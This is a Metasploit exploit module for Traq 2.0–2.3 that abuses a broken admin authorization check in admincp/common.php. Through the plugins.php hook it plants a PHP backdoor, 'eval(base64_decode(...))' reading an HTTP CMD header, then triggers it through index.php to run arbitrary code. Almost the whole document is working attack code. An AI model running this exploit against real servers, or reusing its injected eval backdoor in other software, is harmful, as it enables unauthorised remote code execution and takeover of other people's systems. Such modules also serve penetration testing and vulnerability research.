Traq 2.3 – Authentication Bypass / Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located into /admicp/ directory to make sure the user has admin rights, but this is a broken authorization schema due to the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality resulting for e.g. in execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', # Vulnerability discovery and exploit 'TecR0c' # Metasploit Module ], 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ], [ 'URL', 'http://traqproject.org/' ], ], 'Privileged' => false, 'Payload' => { 'Keys' => ['php'], 'Space' => 4000, 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Dec 12 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The path to the Traq installation", "/"]), ],self.class) end def check uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" res = send_request_raw( { 'uri'=> uri }, 25) if (res and res.body =~ /Powered by Traq 2.[0-3]/ ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit p = Rex::Text.encode_base64(payload.encoded) uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'plugin_id' => '1', 'title' => '1', 'execorder' => '0', 'hook' => 'template_footer', 'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;' } }, 25) uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php" res = send_request_cgi( { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CMD' => p, 'Connection' => 'Close', }, }, 25) end end |